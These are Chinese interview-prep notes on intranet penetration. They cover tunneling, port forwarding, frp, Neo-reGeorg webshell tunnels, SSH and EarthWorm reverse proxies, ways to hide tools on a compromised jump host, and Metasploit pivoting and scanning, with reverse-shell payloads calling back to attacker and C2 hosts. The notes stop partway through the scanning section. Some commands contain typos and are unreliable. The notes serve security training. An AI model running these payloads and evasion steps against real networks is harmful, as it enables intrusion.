文章目录
- ==内网与域渗透面经==
-
- ==什么是内网穿透==
- ==什么是隧道技术==
- ==什么是端口转发==
- ==什么是端口映射==
- ==如何利用隧道通信==
- ==EarthWorm的使用==
- ==如何让程序在后台静默执行==
- ==获取跳板机权限后利用MSF内网扫描与横向移动==
- ==DNS隧道==
- ==ICMP隧道==
- ==获取一台服务器权限之后如何查找域控==
- ==域内信息搜集==
- ==什么是NTLM认证与Kerberos认证==
- ==哈希传递攻击PTH(Pass The Hash)==
- ==MS14-068域控提权+PTT(Pass The Ticket)(普通用户权限即可)==
- ==黄金票据伪造(需要获取krbtgt用户的 NTLM hash)==
- ==伪造黄金票据和使用MS14-068+PTT的区别是什么==
- ==白银票据伪造(需获取服务器的权限或者他的Hash也可以)==
- ==域委派攻击==
- ==NetLogon(ZeroLogon)漏洞利用==
- ==CVE-2022-26923提权==
- ==域环境攻击手段==
- ==防御==
- ==IIS==
- ==Apache==
- ==nginx==
- ==Tomcat==
- ==JBoss==
- ==Weblogic==
- ==Fastjson==
- ==Shiro==
- ==Log4j==
内网与域渗透面经
比如环境如下:
后其中可能会提到CentOS7作为代理主机,他的外网IP为 192.168.112.149
什么是内网穿透
利用各种隧道技术,以网络防火墙允许的协议,绕过防火墙的封锁,从而实现访问被封锁的网络目标。
主要使用技术:隧道技术,端口转发,端口映射
什么是隧道技术
是一种通过使用互联网络的基础设施在王洛平之间传递数据的方式。红队进攻的时候,需要在复杂的内容中获取稳定的流量交互,以达到目的,攻击者通常会采用各种内网穿透技术建立隧道,从不同网络协议层对出口的屏蔽或拦截进行绕过。进行内网渗透常用的隧道技术有 DNS隧道,HTTP隧道,SSH隧道,ICMP隧道等容易被网络防火墙方形的协议。
(1)网络层隧道:IPV6隧道、ICMP隧道、GRE隧道(通用路由封装),其中常用的隧道技术是ICMP隧道技术。
(2)传输层隧道:主要有TCP、UDP协议,因此隧道搭建也是基于这两种协议进行的。常用的隧道搭建工具有netcat、powercat等。
(3)应用层隧道:应用层位于TCP/IP协议的最顶层,通常用于搭建各种应用服务,而基于应用层搭建的隧道技术就是利用各种应用所占用的端口进行搭建,比如有SSH、HTTP/HTTPS和DNS服务,这些服务是服务器经常用到不会被禁止的协议。
3、各类工具
如Windows自带的netsh命令,MSF、CS、Neo-reGeorg、proxychains、profiler、ptunnel、icmpsh、PowerCat、netcat、frp、EarthWorm、CobaltStrike等。
什么是端口转发
比如,访问外网与内网的边界,中间这台代理服务器进行端口转发,比如放着中间这一台服务器的8888端口,数据会转发到内网中某台服务器的80端口
Windows的端口转发
**使用工具:**netsh
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=10.10.10.129 connectport=80
windows中可以使用如下命令查看端口转发表
netsh interface portproxy show all
使用如下命令清除转发规则
netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset
Linux的端口转发
# iptables需要先开启:net.ipv4.ip_forward = 1 允许远程转发
iptables -t nat -A POSTROUTING -d 192.168.112.153 -p tcp --dport 8088 -j SNAT --to 192.168.112.188
# firewall需要开启IP伪装:firewall-cmd --add-masquerade
firewall-cmd --add-forward-port=port=8888:proto=tcp:toaddr=101.37.65.91:toport=80
MSF的端口转发
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.100.103 LPORT=6666 -f exe -o win_shell.exe
然后 MSF 开启监听模式,让2016上线,然后使用 msf 配置 Windows 2016 的端口转发规则
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.100.103
set lport 6666
set payload /windows/meterpreter/recerse_tcp
run
# 在Windows 2016上启动木马,获取Meterpreter,然后配置端口转发参数给Windows 2016
meterpreter > portfwd add -l 9999 -r 10.10.10.129 -p 80
[*] Local TCP relay created: :9999 <-> 10.10.10.129:80
然后再 kali 上访问 localhost:9999 即可访问到 win7 的 80 服务。利用此方法,我们可以进行远程桌面(3389)的访问,思路和上面是一样的,只不过最后直接接在kali中执行 rdesktop 127.0.0.1:8839
就可以,就和windows中的远程桌面开启是一样的。
什么是端口映射
将内网IP的某个端口映射到公网IP的某个端口,实现通过公网IP+端口直接正向访问内网,端口映射实现双向通信。主要适用于内网服务进行映射到公网让别人访问。
由于路由器的局域网之外的主机是无法直接访问路由器内部的服务器的,因此,为了让我们可以直接访问到内网中的服务,我们可以在路由器上做端口映射,比如内网中某台服务器的80端口的http服务,我将其映射到路由器的8888端口,然后局域网之外的主机范围路由器的 ip:8888 即可访问到内网中 http 服务器的服务。
但是比如在家里这样做的话就属于搭建私服,是有违反法律的,因此我们需要更换其他思路:使用ew后者frp
端口映射使用哪些工具
ew,frp
首先是 frp
攻击者服务器配置
[common]
bind_port = 7000 #frp服务端端口(必须)
内网服务器上配置
[common]
server_addr = 47.96.116.171 #frp服务端地址,可以填ip或者域名,这里假设为47.96.116.171
server_port = 7000 #frp服务端端口,即填写服务端配置中的 bind_port
[ssh]
type = tcp #连接类型,填tcp或udp
local_ip = 127.0.0.1 #填127.0.0.1或内网ip都可以
local_port = 22 #需要转发到的端口,ssh端口是22
remote_port = 8888 #frp服务端的远程监听端口,即你访问服务端的remote_port就相当于访问客户端的 local_port,如果填0则会随机分配一个端口
内网服务器与攻击者服务器的7000端口进行通信
访问攻击者服务器的8888端口,将数据映射到内网服务器的22号端口
比如此时直接通过
ssh root@攻击者ip -p 8888
即可连接到 内网服务器但是实验结果发现,连接攻击者服务器的端口一直在变
或者可以配置http服务的端口转发,可以阅读 内网渗透之内网端口转发_端口转发限制-CSDN博客
如何利用隧道通信
Neo-reGeorg实现HTTP隧道通信
利用方式如下:
python3 neoreg.py generate -k 123456
根据目标主机所提供的服务器类型来决定使用哪种木马。并将页面文件放入目标主机的Web服务器目录下。比如这里就是将php木马植入192.168.1.105站点的web页面当中,通过访问该木马来实现内外网的联通。
┌──(root㉿kali)-[/home/kali/Neo-reGeorg-master]
└─# python3 neoreg.py -k 123456 -u "http://192.168.1.105/tunnel.php"
结果会显示,为本机创建了一个代理(该代理是由中间主机提供的),通过该代理可以借助 中间主机 访问目标内网
最后直接访问目标内网的服务器即可实现访问
SSH隧道通信(主角都是针对木马所存在的位置所述的)
ssh本地转发(将本地的流量转发到内网去)
攻击机kali上执行如下指令,可以通过在kali上访问 localhost:8879
端口从而访问内网目标主机的80服务
-
当用户访问本地localhost:8879时:
-
流量通过 SSH 隧道加密传输到跳板机
192.168.112.149
。 -
跳板机将流量转发到最终目标
10.10.10.129:80
(通常是内网 Web 服务)。
-
ssh -CfNg -L 8879:10.10.10.129:80 root@192.168.112.149
#(112.149为CentOS跳板机)
#运行上述命令,并输入112.149跳板机的root密码,即可kali本地访问 localhost:8879,实现对 10.10.10.129:80 的访问。
组成部分 | 作用说明 |
---|---|
ssh |
调用 SSH 客户端建立安全连接 |
-C |
压缩传输数据,提升传输效率 |
-f |
后台运行 SSH 进程(输入密码后自动转入后台) |
-N |
不执行远程命令(仅建立隧道,不打开远程 shell) |
-g |
允许远程主机连接到本地转发端口(解除 SSH 默认的本地回环限制) |
-L 8879:10.10.10.129:80 |
本地端口转发:将本地 8879 端口的流量转发到目标主机 10.10.10.129 的 80 端口 |
root@192.168.112.149 |
通过用户 root 登录到跳板机 192.168.112.149 |
ssh远程转发(将远程的流量转发到内网去)
在跳板机上执行如下指令:
ssh -CfNg -R 3333:10.10.10.129:80 denny@192.168.112.148
#之后输入kali的SSH密码即可
这段指令相当于是在跳板机的木马上执行,这里所指的远程就是攻击者主机,所以最终结果还是kali访问自己的 3333 端口,只不过一个是本地转发,一个是远程转发,但是最终的结果都是一样的
但是这个方法就要求kali上需要开启sshd服务
然后直接在 kali 上访问 localhost:3333 即可访问到 10.10.10.129:80
EarthWorm的使用
正向代理就是直接在代理服务器上执行相对应的ew程序并指定代理所用的端口,然后再攻击者主机上直接设置代理服务器的ip和port为代理即可
比如这里就是在 Windows2016 这台中间的跳板机上执行如下指令:
ew_for_win_32.exe -s ssocksd -l 1080
然后kali中浏览器配置代理或者在命令行中使用 proxychains 执行命令,或者直接更改全局代理配置 /etc/proxychains4.conf
反向代理
攻击者自己找一台C2服务器,然后在C2服务器上执行如下指令:
./ew_for_linux64 -s rcsocks -l 8080 -e 8086
# 确保8080和8086均是开放端口
其中 8080 端口是攻击者服务器开放的,是用来让攻击机连接的,作为攻击机的代理服务器,使得攻击机间接连接内网跳板机。
8086 端口是用来让内网中的跳板机连接的,使得内网中的跳板机可以和攻击者服务器进行通信。
然后再在内网中的跳板机运行如下代码:
ew_for_win_32.exe -s rssocks -d 47.96.116.171 -e 8086
然后和上面一样配置kali的浏览器代理然后进行内网服务的访问。
如何让程序在后台静默执行
如果在跳板机上执行命令或者程序,会打开命令行窗口,则非常容易被察觉,无助于在真实场景中使用。
1、start /b +命令
该方法可以在命令行执行时将命令在当前窗口后台执行,并且命令行提示符可以正常键入其他命令,但是如果将命令行窗口关闭,则无法正常运行。如:
start /b ew_for_win_32.exe -s ssocksd -l 1080
2、使用VBS脚本
该方法利用VBScript脚本来进行后台静默执行,不需要打开命令行窗口,只需要创建一个vbs后缀名的文件并输入以下内容双击运行即可。
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run("C:\ME\earthworm\ew_for_win_32.exe -s ssocksd -l 1080"), 0, True
双击该文件即可后台运行,没有任何窗口产生。
3、在Linux中使用nohup &
后台静默执行,即使关闭命令行也不影响。
nohup ./ew_for_linux64 -s rcsocks -l 8080 -e 8086 &
获取跳板机权限后利用MSF内网扫描与横向移动
要想MSF可以进行内网扫描,那么需要在跳板机上配置内网路由。但是内网路由怎么配置呢,我们拥有msf这套强大的框架,那么如恶化使用 msf 配置内网路由呢?
meterpreter > run get_local_subnets #查看内网网段
meterpreter > run post/multi/manage/autoroute # 自动添加路由
#确认路由是否添加成功
meterpreter > run autoroute -p
或
msf > route print
#如果上述方法内网路由还没添加成功,那么应该是木马的问题,我们可以用如下方式手动添加
meterpreter > run autoroute -s 192.168.112.0/24
或
msf > route add 192.168.112.0/24 1(这里的1是session ID)
内网路由配置好了之后,就可以开始进行扫描了,扫描方式种类很多,比如:udp_sweep 或者 udp_probe 以及 arp_sweep 等
内网ip扫描:
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/discovery/arp_sweep #基于ARP协议发现内网存活主机
内网端口扫描:
auxiliary/scanner/portscan/ack # 基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp # 基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/syn # 基于tcp的syn进行端口扫描,默认扫描1-10000端口
内网服务探测:
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner